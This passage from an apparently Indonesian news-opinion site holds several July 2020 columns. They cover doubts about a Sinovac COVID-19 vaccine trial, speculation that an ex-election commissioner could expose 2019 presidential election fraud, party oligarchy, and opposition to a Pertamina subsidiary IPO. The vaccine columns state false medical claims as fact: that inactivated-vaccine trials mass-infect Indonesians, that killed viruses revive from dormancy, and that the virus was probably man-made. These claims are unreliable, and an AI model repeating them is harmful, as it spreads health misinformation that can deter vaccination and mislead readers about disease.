sendirinya. “Nyerinya akan hilang sendiri dalam berapa jam. Yang nyerinya hilang sampai 2 hari paling hanya beberapa orang,” tandasnya. Seperti diketahui, sebanyak 2.400 sampel calon vaksin Covid-19 dari Sinovac Biotech Ltd, China, tiba di Indonesia. Bakal vaksin itu akan diuji klinis di laboratorium milik PT Bio Farma (Persero) dan fasilitas penelitian lain di dalam negeri. Kedatangan ribuan kandidat vaksin tersebut diharapkan membuat peluang produksi vaksin Covid-19 di Indonesia bisa dilakukan pada awal tahun depan. Uji klinis di Indonesia akan dilakukan selama 6 bulan. Direktur Utama Bio Farma Honesti Basyir mengatakan, calon vaksin yang dikirim Sinovac diterima Bio Farma pada 19 Juli 2020. Kandidat vaksin itu akan diuji klinis tahap tiga. Melalui akun Twitternya, @jokowi, Presiden Joko Widodo juga menyampaikan rencana uji klinis vaksin virus corona dari Sinovac tersebut. “Kita akan melaksanakan uji klinis vaksin Covid-19 tahap ketiga dengan melibatkan 1.620 sukarelawan. “Proses dan protokolnya mendapat pendampingan secara ketat oleh BPOM. Apabila berhasil, BUMN Bio Farma siap memproduksi vaksin ini dengan kapasitas 100 juta dosis per tahun,” demikian Jokowi, seperti dilansir Kompas.com, Kamis (23/07/2020, 15:16 WIB). Sekretaris Perusahaan PT Bio Farma Bambang Heriyanto menjelaskan, uji klinis vaksin yang dilakukan di negara lain adalah sesuatu hal yang lumrah. “Ini hal lumrah dan berlaku untuk semua di selurh dunia untuk uji klinis,” ungkap Bambang. “Bio Farma juga pernah melakukan itu. Pernah uji klinis suatu produk dilakukan di Swedia, Afrika. Memang enggak ada masalah,” lanjut Bambang dihubungi Kompas.com, Kamis (23/7/2020). Uji klinis fase ketiga vaksin Sinovac ini tak hanya dilakukan di Indonesia. Uji klinis juga dilakukan di Brazil, Turki, dan Cile. Alasan lainnya, kata Bambang, saat ini kasus Covid-19 di China sendiri sudah menunjukkan penurunan. Sementara, kasus di Indonesia, Brazil, dan Cile masih terjadi peningkatan dengan angka yang tinggi. Menurutnya, ada keuntungan bagi Indonesia dengan uji klinis ini. Keuntungannya, kita bisa mengetahui langsung respons vaksin virus corona pada penduduk Indonesia. Dengan demikian, bisa dilihat kesesuainnya dibandingkan jika harus membeli vaksin yang sudah jadi. Menurut Bambang, vaksin Sinovac yang akan diuji klinis di Indonesia juga telah melalui sejumlah tahap pengujian sehingga aman untuk diujikan pada manusia. Ia menjelaskan, baik vaksin ataupun obat sesuai standar WHO harus dilakukan uji dari uji hewan terlebih dahulu atau yang disebut dengan praklinis. Selanjutnya, baru dilakukan uji klinis pada manusia. “Uji hewannya bisa macam-macam. Bisa marmut, monyet, dan sebagainya. Ada standar. Ini untuk melihat vaksin aman atau enggak untuk manusia dan melihat khasiatnya di hewan,” kata Bambang. Setelah uji praklinis, dilakukan uji pada manusia yang meliputi fase I, II, dan III. Adapun, vaksin Sinovac yang akan diuji klinis di Indonesia telah memasuki fase ketiga. Bahaya Sinovac Menurut dr. Tifauzia Tyassuma, pertanyaan besar dan paling fundamental adalah: Mengapa Uji Klinis Fase III Vaksin Cina, harus dilakukan pada Manusia Indonesia? Dan ternyata jenis Vaksin Cina ini adalah virus yang dilemahkan dari virus yang ada di Cina. Vaksin dari virus yang dilemahkan adalah jenis vaksin paling sederhana alias paling primitif. Sementara itu, Uji Klinis Fase II, yang dilakukan di Cina, baru dilakukan pada sampel kecil, hanya 603 subjek. Jumlah yang terlalu kecil untuk Uji Coba Vaksin. Sementara untuk diketahui, pada waktu bersamaan, Vaksin Mandiri yang berasal dari seed virus lokal yang ditemukan di Indonesia, sedang dikembangkan oleh Lembaga Eijkmann, Lembaga kebanggaan milik Indonesia. Eijkmann saat ini sedang membangun tahap ke tahap menuju pengembangan vaksin yang sesuai dengan virus asli yang berkembang di Indonesia. Vaksin yang sedang dibuat adalah Vaksin Tipe Protein Rekombinan. “Menguliti mRNA virus dan membuat fondasinya dan membuat scaffolding dan membuat kloningnya dan seterusnya dan seterusnya yang membuat saya sangat bangga dengan Lembaga Eijkmann, atas pilihan teknologi pembuatan vaksinnya,” ungkapnya. Menurut Arie Karimah Mochamad, Pharma-Excellent, Alumni ITB, Pemerintah sebaiknya membuka informasi seluas-luasnya tentang hal berikut, sehingga kaum ilmuwan seperti dia bisa ikut memonitor dan mengontrol jalannya uji klinis: Jenis vaksin apakah Coronavac yang diproduksi oleh Sinovac, China itu: Tradisional, Viral Vector atau m-RNA? Perbedaannya: Tradisional: menggunakan virus yang sudah dilemahkan atau dimatikan. Kabarnya vaksin jenis ini tidak mudah dikembangkan dalam waktu cepat. Viral vector: menggunakan viral vector, versi yang tidak berbahaya (harmless) dari virus lain untuk menghasilkan materi genetik dari Covid-19. Ini semacam rekayasa genetika dengan bakteri E.coli. “Vaksin jenis ini yang sedang dikembangkan oleh Oxford University bekerja sama dan AstraZeneca, serta vaksin Cansino Biologics, China,” ungkap Arie dalam akun FB-nya. m-RNA (messenger RiboNucleic Acid): Hanya menggunakan platform m-RNA, yang mengandung instruksi agar sel-sel tubuh kita menghasilkan protein yang menyerupai permukaan virus covid. “Yang kemudian oleh tubuh dikenali sebagai benda asing dan akan diserang oleh respon immune. Vaksin ini menggunakan kode Spike protein yang digunakan oleh virus untuk menginfeksi manusia,” lanjutnya. Dikenal juga sebagai faktor kejahatan (virulence) dari virus. Uji klinis National Institute of Health di atas menggunakan vaksin jenis ini. Vaksin yang dikembangkan lembaga Eijkman juga Belum menyebutkan jenis yang mana? Dugaan dia, jenis yang pertama, karena berbicara tentang virus asli Indonesia. Seperti halnya India yang juga menggunakan indigenous vaccine. Jika memang Vaksin Sinovac yang siap Uji Klinis di Indonesia itu dari Virus Corona yang sudah “dilemahkan atau dimatikan”, itu sama saja dengan China sedang menginfeksi rakyat Indonesia dengan Covid-19 secara massal. Di antara virus yang “dimatikan” itu, dipastikan ada yang dorman (tidur). Nah, yang dorman dan dikira mati itu pada saat atau dengan suhu tertentu akan hidup lagi! Catat! Virus atau bakteri corona itu mahluk hidup yang cerdas! Misalnya, bila virus corona dihantam desinfektan chemikal (kimia), maka asumsi umumnya mereka mati. Tapi, ternyata saat ini mutasi corona sampai di atas 500 karakter atau varian. Ternyata, karena gennya bermutasi, mutannya ada yang "bersifat" tidak hanya ke reseptor ACE2 saja, tapi langsung menginfeksi sel-sel saraf. Manifesnya bisa meningitis (contoh kasus artis Glen Fredly kemarin), Ada juga yang langsung berikatan/nempel di sel-sel darah merah, sehingga manifestasi klinisnya seperti DB, tapi setelah dites PCR: positif. Ini banyak ditemukan di pasien-pasien anak di rumah sakit. Jadi, Covid-19 itu tidak hanya menginfeksi di saluran pernapasan seperti yang selama ini beredar! *** Penulis adalah wartawan senior.

Wahyu Setiawan: Dari Justice Collaborator Menjadi Justice Collaps-borator

by Asyari Usman Jakarta FNN - Jumat (24 Juli 2020). Banyak yang sempat bersemangat. Pasalnya? Mantan komisioner KPU, Wahyu Setiawan (WS), akan membongkar kecurangan dalam pemilu, Pilpres dan pilkada 2019. Wuih! Pasti bakal seru sekali. Om Wahyu akan maju sebagai ‘justice collaborator’. Artinya, dia akan menjadi ‘rekanan keadilan’. Hebat, bukan? Pastilah. Menjadi ‘rekanan keadilan’ atau ‘rekanan penegakan hukum’ itu sangat mulia. Akan membongkar kecurangan Pilpres 2019 pula lagi. Makin mantaplah barang ‘tu. Eh, eh. Sehari kemudian berbalik. Tim pengaranya mengatakan, itu tidak benar. Tidak benar Om Wahyu akan menjadi ‘juctice collaborator’. Itu hanya pernyataan pribadi Saiful Anam –salah seorang anggota tim pembela Om WS. Yang mengatakan bahwa itu adalah pernyataan pribadi adalah Tony Akbar Hasibuan (22/7/2020), juga pengacara. Kata Tony, yang akan dibongkar WS hanya hal-hal yang terkait dengan kasus sogokan dari Harun Masikhu. Yaitu, kemungkinan keterlibatan partai, lembaga, perorangan, hingga komisioner KPU terkait proses penggantian antar waktu (PAW) untuk Masikhu. Banyak yang geleng kepala. Kok Om Wahyu berubah sikap. Dalam waktu 24 jam saja. Tapi, publik perlu paham bahwa membongkar kejahatan Pilpres 2019 sangat tinggi taruhannya. Siraman air keras bisa jadi harga yang terendah. Om Wahyu bisa menakar konsekuensi yang akan dia terima. Kecuali dia sudah paham bahwa membongkar kejahatan Pilpers 2019 akan membuat dia menjadi terhormat setelah kehinaan yang dirasakannya karena menerima sogok. Apakah ada tekanan terhadap WS? Bisa jadi juga. Sebab, para pelaku kecurangan Pilpres 2019 pastilah sadar apa yang akan terjadi kalau Om Wahyu benar-benar membongkar kecurangan itu. Para pelaku tak bakalan bisa mengelak. Karena si mantan komisioner KPU itu tentu tahu seluruh proses kecurangan. Sekarang, publik gigit jari. Kecurangan Pilpres 2019 itu secara otomatis diakui keberadaanya oleh WS lewat pernyataan Saiful Anam. Tetapi, tak jadi dibeberkan oleh si mantan komisioner yang memilih untuk tetap menjadi orang yang hina. Wahyu lebih suka menjadi ‘justice collaps-borator’ alias ‘ penghancur keadilan’ alias ‘peruntuh penegakan hukum’. Dia memilih untuk terus-menerus menjadi buronan penyesalan. Di dunia dan di akhirat. Semoga besok-lusa berbalik lagi menjadi ‘juctice collaborator’.[] (Penulis adalah wartawan senior)

Wahyu Setiawan Bongkar Kecurangan Pilpres 2019?

by M Rizal Fadillah Jakarta FNN – Kamis (23/07). Kesiapan Wahyu Setiawan, mantan komisioner KPU untuk menjadi Justice Collaborator terhadap korupsi pada Pemilihan Presiden 2019 menjadi penting. Meski terlambat, karena saat ini sudah masuk persidangan, tetapi "simpanan" informasi bisa terkuak. Komisi Pemberantasan Korupsi (KPK) menyesalkan "kerjasama" tidak sejak awal. Akan tetapi, dari data keterlibatan pihak-pihak yang terbuka, meski terlambat, sebenarnya sangat bermanfaat. Tidak ada istilah keterlambatan terhadap informasi penting yang berkaitan dengan “kejahatan korupsi dan kejahatan demokrasi”. Pengacara Wahyu Setiawan menjelaskan bahwa Justice Collaborator (JC) ini terbatas pada kasus suap Harun Masiku. Namun dengan bahasa "terbatas" sebenarnya ada informasi "tak terbatas" yang dimiliki Wayu. Semua faham bahwa kasus Masiku adalah bagian dari permainan politik tingkat tinggi. KPK belum bersikap atas tawaran JC dari Wahyu. KPK hanya menilai bahwa itikad dan apa yang "dikerjasamakan" itu dapat menjadi unsur yang meringankan bagi pertimbangkan mejelis hakim. Meskipun demikian sekurang-kurangnya fakta-fakta yang terungkap dalam persidangan dapat menjadi bahan bagi KPK untuk pengusutan lebih lanjut. Ada pihak lain yang terlibat dalam kasus ini. Konon Hasto atau Megawati pun bisa diuji. Apapun kelak ujung dari proses hukum Wahyu Setiawan akan berkaitan dengan sikap Wahyu sendiri. Apakah "ilmu" nya akan terus dikeluarkan atau tidak. Maknanya adalah Wahyu Setiawan memiliki "pengetahuan luas" mengenai perilaku dan kebusukan dan kebobrokan komisioner KPU. Keterangan Wahyu tentu bukan saja untuk kasus Harun Masiku, tetapi juga yang lainnya Pilkada. Bahkan mungkin saja berkaitan dengan Pilpres. Keterbukaan Wahyu Setiawan inilah yang ditunggu-tunggu publik. Pilpres dengan hasil kontroversial masih menjadi misteri hingga kini. Kemenangan Jokowi-Ma'ruf Amin masih diragukan publik. Sejak Quick Count hingga Putusan MK yang dinilai janggal. Pertanyaan besar masih menggelayut. Komisioner KPU dan Tim Pemenang tentulah yang lebih tahu, dan Wahyu Setiawan adalah salah satu komisioner saat pelaksanaan pemilu legislative dan Pelpres 2019 lalu. Tawaran JC berfungsi sebagai batu ujian bagi KPK. Sekarang KPK pun diuji keseriusan dalam pengusutan kasus korupsi. Bila KPK ragu atau tidak serius, maka publik akan menilsi bahwa KPK bukan saja bermain hukum. Tetapi juga ikut juga bermian politik. Ini tentu tidak diharapkan. Karena kasus Harun Masiku bagai sodokan permainan bola bilyard. Dapat menyodok bola lain. Wahyu Seiawan mantan komisioner KPU mesti kini menjadi pesakitan masih dapat berbuat sebagai pahlawan. Wahyu Setiawan bisa menjadi pahlawan kejujuran. Pahlawan untuk membongkar kecurangan dan kejahatan korupsi. Sakaliguas membongkar kejahatan terhadap demokrasi. Pelaku yang terlibat kemungkinan hanya dua pihak, yaitu KPU sebagai penyelenggara pemilu dan peserta pemilu. Bisa dari partai politik. Namun bisa juga pasangan Capres. Kebenaran itu biasanya selalu datang dan terbukti belakangan. Sedikit sekali yang terbukti di awal-awal kejadian. Bangsa dan negara butuh kepahlawanan Wahyu Setiawan. Penulis adalah Pemerhati Politik dan Kebangsaan.

Vaksin China Diduga Bermasalah dan Diragukan, Indonesia Ngotot Mau Pakai?

by Mochamad Toha Jakarta FNN - Kamis (23 Juli 2020). Fakta berikut ini adalah sebuah ironi. Mengapa uji coba tahap ketiga Vaksin Sinovac produk Sinovac Biotech asal China tidak dilakukan di Negeri Tirai Bambu sendiri? Sementara, kita dengan mudahnya menerima untuk uji coba di Indonesia. Vaksin Sinovac ini akan diuji-coba oleh PT Bio Farma di Kota Bandung. Konon, untuk tahap pertama dan kedua sudah dilakukan di China. Tapi, mengapa untuk tahap ketiga tidak di China lagi? Hal tersebut muncul karena ketidakpercayaan masyarakat terhadap vaksin setelah terjadi skandal oleh perusahaan vaksin di China. Skandal besar pada 2018 tersebut membuat kepercayaan masyarakat lokal menurun. Menurut investigasi South China Morning Post menemukan perusahaan vaksin terkemuka, Changchun Changsheng Biotechnology telah dengan sengaja membuat produk vaksin yang kadaluarsa. Tidak hanya itu, mereka juga melaporkan hasil yang difabrikasi mengenai pembuatan vaksin rabies pada 2018 silam. Perusahaan yang berada di Provinsi Jilin, China tersebut mendapat gugatan sebesar 1.3 miliar Dolar Amerika pada Oktober tahun lalu. Seperti dilansir Gelora.co, Kamis (23 Juli 2020), skandal tersebut dibicarakan pada media sosial China dan menjadi debat heboh yang setelah dihimpun oleh tim ilmuwan Amerika, ditemukan lebih dari 11 ribu pesan mengenai kepercayaan rakyat terhadap vaksin. Bahkan, semenjak insiden tersebut, rakyat juga tidak percaya dengan pemerintah mereka. Kini, perdebatan di Weibo meningkat lagi mengenai tingginya keraguan penduduk dan ketidakpercayaan mereka dengan pemerintah China. Hal tersebut disampaikan oleh Ketua Pengambil Keputusan Laboratorium Universitas George Washington, David Broniatowski. Setahun kemudian, diskusi tersebut telah terpecah menjadi beberapa bagian. Namun, banyak orang mengutarakan kekhawatiran mereka terhadap ancaman yang mungkin muncul dari vaksin tersebut. “Kekhawatiran itu membesar tidak hanya untuk vaksin rabies tetapi semua vaksin yang dibuat dari Changchun Changsheng Biotechnology,” ujarnya. Hal ini jelas mengkhawatirkan. Sebab, jika begitu maka penanganan penyakit Covid-19 di China bisa terhambat hanya karena persepsi masyarakat telah menyamaratakan semua vaksin dan semua perusahaan farmasi. Pada Juli 2018, pemerintah China menyebut jika perusahaan vaksin tersebut telah melanggar peraturan nasional dan prosedur standar dengan memproduksi 250 ribu dosis vaksin rabies. Berita itu dengan cepat beredar di Weibo tidak lama setelah insiden tersebut, yang membuat pimpinan perusahaan dan 14 pegawainya ditangkap. Beberapa pegawai nasional, provinsi dan lokal juga ditahan atas keterlibatan mereka dalam skandal tersebut. Termasuk dari para aparatur negara adalah empat dari Balai Makanan dan Obat China. Yang membuat warga sulit percaya adalah mantan pimpinan Balai Makanan dan Obat China adalah salah satu yang terlibat dalam skandal tersebut. Broniatowski menyebut meski Covid-19 tidak ada saat skandal itu terjadi, tapi kemungkinan vaksin Covid-19 tidak dipercaya oleh warga China masih sangat tinggi sampai saat ini. “Hasil kerja sebelumnya menunjukkan kecenderungan jika warga yang memiliki kepercayaan rendah pada pemerintah akan lebih tidak mau untuk mempercayai (kepada) pihak medis yang mendesak mereka menggunakan vaksin tersebut,” ungkap Broniatowski. “Jika kekhawatiran mereka menyebar luas, maka orang lain akan ragu untuk menggunakan vaksin tersebut, sehingga akan menambah kasus pasien Covid-19,” lanjutnya. WHO sendiri menemukan keraguan pada vaksin sebagai satu dari 10 tantangan terberat mereka pada 2019. Peneliti menyebut, pemerintah dan petugas medis di seluruh dunia harus memprioritaskan usaha mengkomunikasikan kesehatan lebih baik lagi. Pentingnya vaksin saat ini adalah karena beberapa ilmuwan, termasuk Broniatowski, percaya satu-satunya cara mencegah penyebaran virus Corona adalah dengan pengembangan “herd immunity”. Herd immunity adalah kekebalan manusia yang terbangun setelah terkena penyakit Covid-19 dan sembuh. Kekebalan juga bisa terbangun melalui vaksinasi. Jika herd immunity tercapai dengan cara pertama, tingkat kematian yang dicapai sangatlah tinggi dari total populasi seluruh manusia di dunia. Oleh sebab itu vaksin saat ini sangatlah penting untuk segera bisa digunakan dan efektif sembuhkan penyakit Covid-19. WHO-China Sekongkol? Dokter asal China yang juga pakar dalam virologi dan imunologi di Hong Kong School of Public Health, Li-Meng Yan, melarikan diri ke Amerika Serikat (AS) sejak 28 April 2020 lalu. Mengutip Law-justice.co, Selasa (14/07/2020 08:07 WIB), pasalnya ahli virus ini menuduh pemerintah negaranya menutup-nutupi virus corona baru penyebab Covid-19. Beberapa jam sebelum dia naik pesawat Cathay Pacific 28 April ke AS, dokter terkemuka ini telah merencanakan pelariannya, mengemas tasnya dan menyelinap melewati sensor dan kamera video di kampusnya di Hong Kong. Dia saat itu sudah membawa paspor dan dompetnya dan akan meninggalkan semua orang yang dicintainya. Jika dia tertangkap, dia tahu dia bisa dijebloskan ke penjara, atau, lebih buruk lagi, menjadikan dirinya salah satu dari “orang yang hilang”. Yan mengatakan kepada Fox News dalam sebuah wawancara eksklusif bahwa dia percaya pemerintah China tahu tentang virus corona jauh sebelum mengklaim itu. Menurut Yan, atasan yang terkenal sebagai beberapa ahli top di lapangan, juga mengabaikan penelitian yang dia lakukan pada awal pandemi yang dia percaya bisa menyelamatkan nyawa manusia. Hingga saat ini virus corona masih menjadi misteri, pasalnya kabar apakah virus itu dibentuk dari alam atau buatan manusia hingga kini belum terjawab. Namun banyak sebagian ahli berpendapat bahwa virus ini buatan manusia. Hal inilah yang turut diungkap oleh Dr. Li-Meng Yan, seorang virologi lulusan Universitas Hongkong yang melakukan penelitian virus dan berhasil melarikan diri ke AS itu. Li-Meng Yan mengaku pernah bertugas di Fakultas Kesehatan Masyarakat Universitas Hongkong. Laboratorium tempat Yan bekerja itu adalah salah satu laboratorium terbaik di dunia untuk penelitian virus pneumonia Wuhan. Dalam wawancaranya dengan Fox News itu Yan banyak mengungkapkan sejumlah kebenaran yang menakjubkan. “Alasan saya datang ke AS adalah karena saya menyampaikan pesan kebenaran Covid,” katanya kepada Fox News dari lokasi yang dirahasiakan. Dia menambahkan bahwa jika dia mencoba menceritakan kisahnya di China, dia “akan menghilang dan dibunuh”. Kisah Yan dengan klaim yang luar biasa tentang virus corona yang ditutup-tutupi di tingkat tertinggi pemerintahan bisa mengekspos dorongan obsesif Presiden Xi Jinping dan Partai Komunis China-nya untuk mengendalikan narasi coronavirus. Yakni apa yang diketahui China, kapan diketahui dan apa informasi yang diedit yang dijajakan ke seluruh dunia. “Pemerintah China menolak untuk membiarkan para ahli di luar negeri, termasuk yang di Hong Kong, melakukan penelitian di China,” katanya. “Jadi saya menoleh ke teman-teman saya untuk mendapatkan informasi lebih lanjut,” ungkap Yan. Yan memiliki jaringan kontak profesional yang luas di berbagai fasilitas medis di China daratan, yang telah tumbuh dan menyelesaikan banyak studinya di sana. Dia mengatakan itu adalah alasan tepat dia diminta untuk melakukan penelitian semacam ini, terutama pada saat dia mengatakan timnya tahu mereka tidak mendapatkan seluruh kebenaran dari pemerintah. Seorang teman, seorang ilmuwan di Pusat Pengendalian dan Pencegahan Penyakit (CDC) di China, memiliki pengetahuan tangan pertama dari kasus-kasus tersebut dan telah dilaporkan mengatakan kepada Yan pada 31 Desember 2020 tentang penularan virus dari manusia ke manusia jauh sebelum China atau WHO mengakui penyebaran semacam itu mungkin terjadi. Beberapa hari kemudian, pada 9 Januari 2020, WHO justru mengeluarkan pernyataan virus tidak menular dari manusia ke manusia. “Menurut pihak berwenang China, virus tersebut dapat menyebabkan penyakit parah pada beberapa pasien dan tidak mudah menular di antara orang-orang...Ada informasi terbatas untuk menentukan risiko keseluruhan cluster yang dilaporkan ini,” kata WHO. Yan frustrasi, tapi tak terkejut. “Saya sudah tahu itu akan terjadi karena saya tahu korupsi diantara organisasi internasional seperti WHO kepada pemerintah China, dan PKC,” katanya. “Jadi pada dasarnya...saya menerimanya tetapi saya tidak ingin informasi yang menyesatkan ini menyebar ke dunia.” WHO dan China selama ini telah membantah keras klaim telah menutup-nutupi virus corona. Kedutaan Besar China di AS mengatakan kepada Fox News bahwa mereka tidak tahu siapa Yan dan menegaskan China telah menangani pandemi secara heroik. “Kami belum pernah mendengar tentang orang ini,” bunyi pernyataan Kedubes China yang di-email tersebut. “Pemerintah China telah merespons Covid-19 dengan cepat dan efektif sejak wabahnya,” lanjutnya. “Semua upayanya telah didokumentasikan dengan jelas dalam buku putih `Fighting COVID-19: China in Action` dengan transparansi penuh. Fakta menunjukkan semuanya,” lanjut klaim Kedubes China. WHO juga terus membantah melakukan kesalahan selama hari-hari awal virus. Kementerian Luar Negeri China dan para ilmuwan yang dituduh Yan telah dihubungi Fox News untuk dimintai komentar. Namun, sejauh ini belum merespons. Li-Meng Yan mengatakan bahwa dia akan terus berbicara – meski tahu ada target di punggungnya. Masih akan paksakan Vaksin China dipakai di Indonesia? *** Penulis adalah wartawan senior.

Demokrasi Itu Dihancurkan Oleh Partai Politik

by M. Rizal Fadillah Jakarta FNN – Kamis (23/07). Achmad Purnomo didukung oleh "arus bawah" Partai Demokrasi Indonesia Perjuangan (PDIP). Namun dukungan arus bawah itui kemudian “dilibas” oleh partai dan keputusan "atas" bahwa PDIP harus mendukung "putera mahkota" Gibran Rakabuming Raka sebagai Calon Walikota Solo. Putra sulung Presiden Joko Widodo tersebut, harus didahulukan untuk menjadi calon Walikota Solo. Purnomo pun secara terang terangan diundang ke Istana Negara. Tawaran jabatan diberikan sebagai kompensasi dari kursi Walikota Solo terebut. Peristiwa ini menggambarkan oligarhi yang dominan dari partai politik. Oligarki partai politik yang menjadi pembunuh demokrasi. Bahwa benar, proses yang terjadi adalah masalah internal dan kewenangan partai itu sendiri. Akan tetapi mengingat partai politik adalah institusi dari suatu negara demokrasi, maka "pembuldozeran" adalah perusakan kultur politik demokratis dalam sistem politik. Kasus Purnomo hanya satu contoh dari penghancuran demokrasi oleh partai politik. Realitasnya adalah hampir di semua partai politik yang ada di Indonesia itu tidak demokratis. Penentuan pimpinan partai di tingkat bawah, proses pencalegan hingga penetapan calon kepala daerah yang diajukan oleh partai seluruhnya ditentukan oleh pimpinan di tingkat atas. Ketua Umum DPP sangat berkuasa. Oligarki atau otoritarian berjalan pada partai politik. Akibatnya, partai politik kehilangan fungsi yang semestinya sebagai sarana pendidikan politik, sosialisasi politik, artikulasi politik, maupun agregasi politik. Partai politik kini hanya mampu melakukan fungsi rektkrutmen dan mempengaruhi kebijakan politik. Itupun untuk memenuhi kepentingan hasrat dan syahwat politik dirinya sendiri. Bukan untuk membela dan memperjuangkan rakyat. Pimpinan partai politik terlihat berjalan di jalan yang berseberangan dengan jalan yang dipakai rakyat. Berbagai kebijakan rezim yang tidak pro rakyat, bahkan membuat kesusahan dan kegaduhan pada rakyat, tak bisa dipisahkan dari perilaku politik partai yang memang tidak pro rakyat. Partai lebih berkhidmad pada kekuasaan atau elit kekuasaan. Demokrasi hanya menjadi slogan bahkan bualan penipuan. Repotnya lagi ketika sistem politik yang dibangun adalah korporatokrasi, maka persoalan kapital menjadi dominan. Untuk menjadi ketua partai di tingkat pusat maupun daerah, menjadi calon anggota legislatif "jadi" ataupun untuk diusung sebagai calon kepala daerah, maka faktor modal atau uang itu sangat menentukan. Pemilik modal ikut pula berjudi untuk jabatan-jabatan politik yang tersedia. Reformasi tidak membuat perilaku partai politik lebih baik. Partai politik tidak tereformasi. Justru semakin lebih doyan materi. Korupsi di lingkungan partai politik juga termasuk tinggi menyaingi birokrasi. Perjuangan untuk menjadikan Menteri atau jabatan di perusahaan milik negara juga bagian dari upaya "penggemukan" partai. Artinya menjadi mesin korupsi. Kembali ke kasus Achmad Purnomo dan Gibran Rakabuming Raka, yang didukung oleh hampir semua partai politik, merupakan gambaran dari hancurnya demokrasi yang dihancurkan oleh partai politik. Seorang figur yang semua tahu kualitas politiknya, karena anak Presiden, maka support politiknya menjadi luar biasa. Sumber dukungan tersebut tak lain adalah oligarki, otokrasi, atau ketumkrasi. Demokrasi memang sedang dihancurkan oleh institusi demokrasi yang bernama partai politik. Penulis adalah Pemerhati Politik dan Kebangsaan.

Melawan Rencana IPO Anak Perusahaan Pertamina (Bag. Kedua)

by Dr. Marwan Batubara Jakarta FNN – Kamis (23/07). Menteri BUMN Erick Thohir telah meminta Dirut Pertamina Nicke Widyawati menawarkan saham perdana Initial Public Offering (IPO) anak usaha Pertamina di Bursa Efek Indonesia (BEI). Jangka waktunya dalam waktu 1-2 tahun ke depan (12/6/2020). Alasan terpenting IPO untuk mendapatkan dana (murah). Alasan berikutnya untuk meningkatkan governance, transparansi dan akuntabilitas. Terlepas dari semua alasan dan ada manfaat lain, hal yang sering dipakai menjustifikasi IPO adalah memperoleh dana murah tanpa bunga dan perbaikan governance. Penerapan prinsip pengelolaan perusahaan berdasarkan Good Corporate Governance (GCG). Seperti diuraikan pada tulisan sebelumnya, IPO dapat saja diterima jika Pertamina bukan BUMN. Sebab Pertamina harus mengemban amanat Pasal 33 UUD 1945. Jika pemegang kekuasaan mau memahami dan patuh terhadap konstitusi, maka alasan dan perdebatan untuk menjustifkasi rencana IPO menjadi tidak perlu. Untuk memenuhi amanat konstitusi dan ketahanan nasional, negara memang harus siap berkorban dana tanpa perlu dana murah dari hasil IPO. Sedangkan untuk mencapai level GCG tertentu, tersedia cara lain yang lebih efektif selain melalui IPO. Semua pintu mentaapi konstitusi terbuka lebar. Tegaknya kedaulatan, berjalannya konstitusi, terjaganya ketahanan energi dan meratanya pembangunan melalui cross-subsidy oleh BUMN yang dikelola tanpa IPO, sangat tidak layak diperbandingkan dengan keuntungan akses dana murah yang diperoleh dari melakukan IPO. Keuntungan nilai dana murah yang diperoleh dari IPO sangat minim. Apalagi dibandingkan dengan besarnya manfaat strategis yang diperoleh jika BUMN dikelola sesuai konstitusi tanpa IPO. Salah faktor yang sangat merugikan adalah dengan IPO, profit yang dapat diraih akan berkurang. Hanya sesuai berapa persen besar saham yang dijual. Faktor lain, sebagai pelaksana tugas perintisan dan pembangunan daerah, lambat laun BUMN akan kehilangan kemampuan cross-subsidy. Anak-anak usaha Pertamina yang menguntungkan (cream de la cream) akan segera dijual. Tinggal menyisakan anak-anak usaha yang kurang profitable. Seperti diketahui, pola pembentukan sub-holding bertujuan memilih anak usaha yang paling profitable dan kemudian menjual sahamnya, merupakan cara umum yang dipakai asing dan kapitalis-liberal untuk meraih untung maksimal dari berbagai korporasi. Pola unbundling ini akan menjadikan BUMN semakin kerdil. Negara pun akan mangalami penerimaan yang semakin mengecil. Sementara pada sisi lain, pola unbundling juga akan membuat biaya penyediaan produk dan jasa semakin mahal. Kemahalan biaya ini menjadi dibebankan kepada konsumen atau masyarakat. Ringkasnya, terlepas dari aspek strategis konstitusional, IPO anak usaha Pertamina melalui proses unbundling, sub-holding, menjual yang paling menguntungkan, akan membuat portfolio bisnis mengecil. Keuntungan akan menurun. Penerimaan negara juga menurun. Harga produk atau layanan yang dibayar konsumen naik. Kemampuan Pertamina untuk melakukan cross-subsidy menurun dengan sendirnya. Sementara dominasi swasta dan asing terus meningkat. Karena lingkup bisnis mengecil dan tidak profitable, lambat laun Pertamina akan hidup dari APBN seperti halnya TVRI. Tak mampu membangun daerah-daerah yang tertinggal dan minim konsumen. Kondisi ekstrim yang merugikan di atas, bisa saja berkurang jika ada batasan-batasan. Misalnya, anak usaha yang dijual adalah yang secara bisnis tidak mengurangi penerimaan negara. Tetapi siapa yang mau beli saham perusahaan yang kurang profitable? Atau penjualan saham dibatasi maksimum 25% atau hanya 49%. Makin besar saham yang dijual, maka makin besar kehilangan BUMN dan negara untuk memperoleh penerimaan. Kita pilih yang mana? Argumentasi yang sering jadi alasan. IPO dengan penjualan saham maksimum hanya sampai 25% atau 30%. Sehingga kontrol masih ada di tangan negara. Padahal dengan jumlah saham yang berkurang, profit pun ikut berkurang. Apakah manfaat dana murah dari IPO 25% atau 30% itu lebih besar dibandingkan profit yang turun? Adakah jaminan kelak tidak akan terjadi penjualan saham lanjutan atau right issue? Dengan IPO, terbuka jalan bagi oligarki penguasa dan pengusaha asing untuk menjual saham lebih lanjut. Kelak pemerintah bisa menjadi pemegang saham minoritas. Untuk itu, akan disediakan “ribuan alasan” manipulatif dan sarat kebohongan agar bisa IPO. Misalnya, saham negara perlu dijual untuk membantu orang miskin, membangun jalan desa, membangun sekolah dan lain-lain. Ironi yang bernuansa moral hazard ini terjadi pada Indosat yang di “IPO” sebanyak 35% pada 1994. Saat itu dikatakan penjualan saham negara sudah maksimal. Ternyata pada 2002 saham kembali dijual, sehingga negara hanya menjadi pemegang saham minoritas (14%) pada sektor sangat strategis dan menguntungkan tersebut. Selain memperoleh dana, IPO diperlukan untuk meraih governance yang lebih baik. Itu pula yang dinyatakan Erick Thohir selepas RUPS pelantikan Nicke Widyawati menjadi Dirut Pertamina pada 12 Juni 2020. Kata Erick, Pertamina perlu IPO-kan 1-2 sub-holding sebagai bagian dari transparansi dan kejelasan akuntabilitas. Apakah untuk meraih governance, IPO menjadi satu-satunya jalan? Banyak cara meningkatkan GCG di Pertamina tanpa harus IPO. Salah satu terpenting menjadikan Pertamina sebagai non-listed public company (NLPC). Dengan pola NPLC, Pertamina menjadi perusahan terdaftar di bursa (BEI). Namun tidak ada (1% pun) saham yang dijual. Dengan terdaftar di BEI, Pertamina menjadi perusahaan terbuka yang diawasi public. Namun kepemilikan 